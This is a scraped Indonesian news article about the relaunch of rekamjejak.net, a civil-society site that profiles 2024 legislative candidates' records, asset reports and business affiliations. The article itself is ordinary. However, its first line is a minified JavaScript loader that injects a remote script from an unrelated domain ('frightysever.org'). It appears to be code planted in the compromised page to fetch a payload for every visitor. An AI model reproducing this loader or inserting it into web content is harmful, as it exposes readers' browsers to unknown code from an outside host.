(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Indonesia Corruption Watch (ICW), Greenpeace, dan Kontras secara resmi meluncurkan kembali situs rekamjejak.net yang berisikan informasi lengkap mengenai perjalanan hidup, karier, aspek hukum, dan keterkaitan bisnis calon anggota legislatif (caleg) yang akan berkontestasi pada Pemilu 2024.
Peneliti ICW Kurnia mengungkapkan, saluran pencarian informasi di situs rekam jejak ini memuat detail mengenai berbagai aspek dari para caleg. Hingga saat ini telah terkumpul data dari 491 individu, khususnya untuk master DPR RI.
Melalui situs rekam jejak, masyarakat yang memenuhi syarat memberikan suara dalam Pemilu 2024 dapat menelusuri sejauh mana kepatuhan para caleg dalam melaporkan kekayaan mereka, termasuk meneliti jejak caleg yang terindikasi terlibat dalam praktik korupsi.
Baca juga: Isak Tangis Lepas Relawan Damkar yang Meninggal Dunia saat Bertugas
“Pengunjung situs rekam jejak dapat membaca informasi tentang caleg terkait regulasi-regulasi yang kontroversial, apakah mereka mematuhi atau tidak terkait LHKPN, dan apakah mereka pernah terindikasi terlibat dalam praktik korupsi. Dengan demikian, masyarakat dapat bersikap lebih kritis menjelang pemilu pada 14 Februari 2024,” kata Kurnia, di Jakarta, Minggu (26/11/2023).
Pelanggan[PR]
Selain menyajikan riwayat hidup, Kurnia menyebutkan situs tersebut juga menampilkan data mengenai afiliasi bisnis para caleg, memberikan bantuan kepada masyarakat untuk mempertimbangkan pilihan wakil rakyat yang terbaik.
“Kami juga berusaha mencatat afiliasi bisnis para caleg, sehingga masyarakat dapat mengawasi. Misalnya, jika seorang caleg memiliki perusahaan tambang, informasi tersebut dapat dipantau ketika mereka terpilih sebagai anggota DPR dan ditempatkan di komisi mana. Pertanyaan yang selama ini muncul mengenai bagaimana proses penentuan penempatan caleg terpilih. Kami khawatir bahwa dasar penempatan tersebut bukan pada kompetensi, melainkan pada afiliasi bisnis mereka,” papar Kurnia.
Baca juga: Guru Kunci Utama Mewujudkan Indonesia Emas
Ia menambahkan, situs ini juga dihadirkan karena pihaknya merasa bahwa pemerintah melalui Komisi Pemilihan Umum (KPU) tidak menyediakan informasi yang cukup bagi pemilih.
“Tidak semua profil atau daftar riwayat hidup mereka dipublikasikan oleh KPU. Partai politik juga belum membuat kewajiban bagi para caleg untuk membuka informasi secara menyeluruh terkait daftar riwayat hidup kepada pemilih,” pungkas Kurnia. (Beritasatu.com/kk)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More
KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More
Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More
This website uses cookies.